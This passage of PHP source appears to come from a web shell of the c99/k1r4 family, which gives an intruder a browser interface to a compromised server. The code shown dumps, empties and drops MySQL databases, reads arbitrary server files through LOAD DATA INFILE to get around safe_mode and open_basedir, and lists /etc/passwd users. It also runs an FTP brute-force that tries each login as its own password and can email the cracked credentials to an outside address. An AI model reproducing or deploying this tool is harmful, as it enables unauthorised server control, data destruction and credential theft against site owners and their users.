  1091.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1092.      if ($dump_file) {$tmp = $dump_file;}
  1093.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1094.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1095.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1096.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1097.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1098.      echo "</form>";
  1099.     }
  1100.     else
  1101.     {
  1102.      $diplay = TRUE;
  1103.      $set = array();
  1104.      $set["sock"] = $sql_sock;
  1105.      $set["db"] = $sql_db;
  1106.      $dump_out = "download";
  1107.      $set["print"] = 0;
  1108.      $set["nl2br"] = 0;
  1109.      $set[""] = 0;
  1110.      $set["file"] = $dump_file;
  1111.      $set["add_drop"] = TRUE;
  1112.      $set["onlytabs"] = array();
  1113.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1114.      $ret = mysql_dump($set);
  1115.      if ($sql_dump_download)
  1116.      {
  1117.       @ob_clean();
  1118.       header("Content-type: application/octet-stream");
  1119.       header("Content-length: ".strlen($ret));
  1120.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1121.       echo $ret;
  1122.       exit;
  1123.      }
  1124.      elseif ($sql_dump_savetofile)
  1125.      {
  1126.       $fp = fopen($sql_dump_file,"w");
  1127.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1128.       else
  1129.       {
  1130.        fwrite($fp,$ret);
  1131.        fclose($fp);
  1132.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1133.       }
  1134.      }
  1135.      else {echo "<b>Dump: nothing to do!</b>";}
  1136.     }
  1137.    }
  1138.    if ($diplay)
  1139.    {
  1140.     if (!empty($sql_tbl))
  1141.     {
  1142.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1143.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1144.      $count_row = mysql_fetch_array($count);
  1145.      mysql_free_result($count);
  1146.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1147.      $tbl_struct_fields = array();
  1148.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1149.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1150.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1151.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1152.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1153.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1154.      if (!is_numeric($perpage)) {$perpage = 10;}
  1155.      $numpages = $count_row[0]/$perpage;
  1156.      $e = explode(" ",$sql_order);
  1157.      if (count($e) == 2)
  1158.      {
  1159.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1160.       else {$asc_desc = "ASC";}
  1161.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1162.      }
  1163.      else {$v = "";}
  1164.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1165.      $result = mysql_query($query) or print(mysql_smarterror());
  1166.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1167.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1168.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1169.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1170.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1171.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1172.      if ($sql_tbl_act == "insert")
  1173.      {
  1174.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1175.       if (!empty($sql_tbl_insert_radio))
  1176.       {
  1177.  
  1178.       }
  1179.       else
  1180.       {
  1181.        echo "<br><br><b>Inserting row into table:</b><br>";
  1182.        if (!empty($sql_tbl_insert_q))
  1183.        {
  1184.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1185.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1186.         $sql_query .= " LIMIT 1;";
  1187.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1188.         $values = mysql_fetch_assoc($result);
  1189.         mysql_free_result($result);
  1190.        }
  1191.        else {$values = array();}
  1192.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1193.        foreach ($tbl_struct_fields as $field)
  1194.        {
  1195.         $name = $field["Field"];
  1196.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1197.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1198.         $i++;
  1199.        }
  1200.        echo "</table><br>";
  1201.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1202.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1203.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1204.       }
  1205.      }
  1206.      if ($sql_tbl_act == "browse")
  1207.      {
  1208.       $sql_tbl_ls = abs($sql_tbl_ls);
  1209.       $sql_tbl_le = abs($sql_tbl_le);
  1210.       echo "<hr size=\"1\" noshade>";
  1211.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1212.       $b = 0;
  1213.       for($i=0;$i<$numpages;$i++)
  1214.       {
  1215.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1216.        echo $i;
  1217.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1218.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1219.        else {echo "&nbsp;";}
  1220.       }
  1221.       if ($i == 0) {echo "empty";}
  1222.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1223.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>";
  1224.       echo "<tr>";
  1225.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1226.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1227.       {
  1228.        $v = mysql_field_name($result,$i);
  1229.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1230.        else {$s = "a"; $m = "desc";}
  1231.        echo "<td>";
  1232.        if (empty($e[0])) {$e[0] = "a";}
  1233.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1234.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1235.        echo "</td>";
  1236.       }
  1237.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1238.       echo "</tr>";
  1239.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1240.       {
  1241.        echo "<tr>";
  1242.        $w = "";
  1243.        $i = 0;
  1244.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1245.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1246.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1247.        $i = 0;
  1248.        foreach ($row as $k=>$v)
  1249.        {
  1250.         $v = htmlspecialchars($v);
  1251.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1252.         echo "<td>".$v."</td>";
  1253.         $i++;
  1254.        }
  1255.        echo "<td>";
  1256.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1257.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1258.        echo "</td>";
  1259.        echo "</tr>";
  1260.       }
  1261.       mysql_free_result($result);
  1262.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1263.       echo "<option value=\"\">With selected:</option>";
  1264.       echo "<option value=\"deleterow\">Delete</option>";
  1265.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1266.      }
  1267.     }
  1268.     else
  1269.     {
  1270.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1271.      if (!$result) {echo mysql_smarterror();}
  1272.      else
  1273.      {
  1274.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1275.       $i = 0;
  1276.       $tsize = $trows = 0;
  1277.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1278.       {
  1279.        $tsize += $row["Data_length"];
  1280.        $trows += $row["Rows"];
  1281.        $size = view_size($row["Data_length"]);
  1282.        echo "<tr>";
  1283.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1284.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1285.        echo "<td>".$row["Rows"]."</td>";
  1286.        echo "<td>".$row["Type"]."</td>";
  1287.        echo "<td>".$row["Create_time"]."</td>";
  1288.        echo "<td>".$row["Update_time"]."</td>";
  1289.        echo "<td>".$size."</td>";
  1290.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1291.        echo "</tr>";
  1292.        $i++;
  1293.       }
  1294.       echo "<tr bgcolor=\"000000\">";
  1295.       echo "<td><center><b>»</b></center></td>";
  1296.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1297.       echo "<td><b>".$trows."</b></td>";
  1298.       echo "<td>".$row[1]."</td>";
  1299.       echo "<td>".$row[10]."</td>";
  1300.       echo "<td>".$row[11]."</td>";
  1301.       echo "<td><b>".view_size($tsize)."</b></td>";
  1302.       echo "<td></td>";
  1303.       echo "</tr>";
  1304.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1305.       echo "<option value=\"\">With selected:</option>";
  1306.       echo "<option value=\"tbldrop\">Drop</option>";
  1307.       echo "<option value=\"tblempty\">Empty</option>";
  1308.       echo "<option value=\"tbldump\">Dump</option>";
  1309.       echo "<option value=\"tblcheck\">Check table</option>";
  1310.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1311.       echo "<option value=\"tblrepair\">Repair table</option>";
  1312.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1313.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1314.       mysql_free_result($result);
  1315.      }
  1316.     }
  1317.    }
  1318.    }
  1319.   }
  1320.   else
  1321.   {
  1322.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1323.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1324.    if (!empty($sql_act))
  1325.    {
  1326.     echo "<hr size=\"1\" noshade>";
  1327.     if ($sql_act == "newdb")
  1328.     {
  1329.      echo "<b>";
  1330.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1331.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1332.     }
  1333.     if ($sql_act == "serverstatus")
  1334.     {
  1335.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1336.      echo "<center><b>Server-status variables:</b><br><br>";
  1337.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1338.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1339.      echo "</table></center>";
  1340.      mysql_free_result($result);
  1341.     }
  1342.     if ($sql_act == "servervars")
  1343.     {
  1344.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1345.      echo "<center><b>Server variables:</b><br><br>";
  1346.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1347.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1348.      echo "</table>";
  1349.      mysql_free_result($result);
  1350.     }
  1351.     if ($sql_act == "processes")
  1352.     {
  1353.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1354.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1355.      echo "<center><b>Processes:</b><br><br>";
  1356.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1357.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1358.      echo "</table>";
  1359.      mysql_free_result($result);
  1360.     }
  1361.     if ($sql_act == "getfile")
  1362.     {
  1363.      $tmpdb = $sql_login."_tmpdb";
  1364.      $select = mysql_select_db($tmpdb);
  1365.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1366.      if ($select)
  1367.      {
  1368.       $created = FALSE;
  1369.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1370.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1371.       $result = mysql_query("SELECT * FROM tmp_file;");
  1372.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1373.       else
  1374.       {
  1375.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1376.        $f = "";
  1377.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1378.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1379.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1380.        mysql_free_result($result);
  1381.        mysql_query("DROP TABLE tmp_file;");
  1382.       }
  1383.      }
  1384.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1385.     }
  1386.    }
  1387.   }
  1388.  }
  1389.  echo "</td></tr></table>";
  1390.  if ($sql_sock)
  1391.  {
  1392.   $affected = @mysql_affected_rows($sql_sock);
  1393.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1394.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1395.  }
  1396.  echo "</table>";
  1397. }
  1398. if ($act == "mkdir")
  1399. {
  1400.  if ($mkdir != $d)
  1401.  {
  1402.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1403.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1404.   echo "<br><br>";
  1405.  }
  1406.  $act = $dspact = "ls";
  1407. }
  1408. if ($act == "ftpquickbrute")
  1409. {
  1410.  echo "<b>Ftp Quick brute:</b><br>";
  1411.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1412.  else
  1413.  {
  1414.   function k1r4ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1415.   {
  1416.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1417.    else {$TRUE = TRUE;}
  1418.    if ($TRUE)
  1419.    {
  1420.     $sock = @ftp_connect($host,$port,$timeout);
  1421.     if (@ftp_login($sock,$login,$pass))
  1422.     {
  1423.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1424.      ob_flush();
  1425.      return TRUE;
  1426.     }
  1427.    }
  1428.   }
  1429.   if (!empty($submit))
  1430.   {
  1431.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1432.    $fp = fopen("/etc/passwd","r");
  1433.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1434.    else
  1435.    {
  1436.     if ($fqb_logging)
  1437.     {
  1438.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1439.      else {$fqb_logfp = FALSE;}
  1440.      $fqb_log = "FTP Quick Brute (called Shell [ci] . Biz ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1441.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1442.     }
  1443.     ob_flush();
  1444.     $i = $success = 0;
  1445.     $ftpquick_st = getmicrotime();
  1446.     while(!feof($fp))
  1447.     {
  1448.      $str = explode(":",fgets($fp,2048));
  1449.      if (k1r4ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1450.      {
  1451.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1452.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1453.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1454.       $success++;
  1455.       ob_flush();
  1456.      }
  1457.      if ($i > $fqb_lenght) {break;}
  1458.      $i++;
  1459.     }
  1460.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1461.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1462.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1463.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1464.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1465.     if ($fqb_logemail) {@mail($fqb_logemail,"Shell [ci] . Biz ".$shver." report",$fqb_log);}
  1466.     fclose($fqb_logfp);
  1467.    }
  1468.   }
  1469.   else
  1470.   {
  1471.    $logfile = $tmpdir_logs."k1r4_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1472.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1473.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1474.   }
  1475.  }
  1476. }
  1477. if ($act == "d")
  1478. {
  1479.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1480.  else
  1481.  {
  1482.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1483.   if (!$win)
  1484.   {
  1485.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  1486.    $ow = posix_getpwuid(fileowner($d));
  1487.    $gr = posix_getgrgid(filegroup($d));
  1488.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1489.   }
  1490.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1491.  }
  1492. }
  1493. if ($act == "phpinfo") {@ob_clean(); phpinfo(); k1r4exit();}
  1494. if ($act == "security")
  1495. {
  1496.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1497.  if (!$win)
  1498.  {
  1499.   if ($nixpasswd)
  1500.   {
  1501.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1502.    echo "<b>*nix /etc/passwd:</b><br>";
  1503.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1504.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1505.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1506.    $i = $nixpwd_s;
  1507.    while ($i < $nixpwd_e)
  1508.    {
  1509.     $uid = posix_getpwuid($i);
  1510.     if ($uid)
  1511.     {
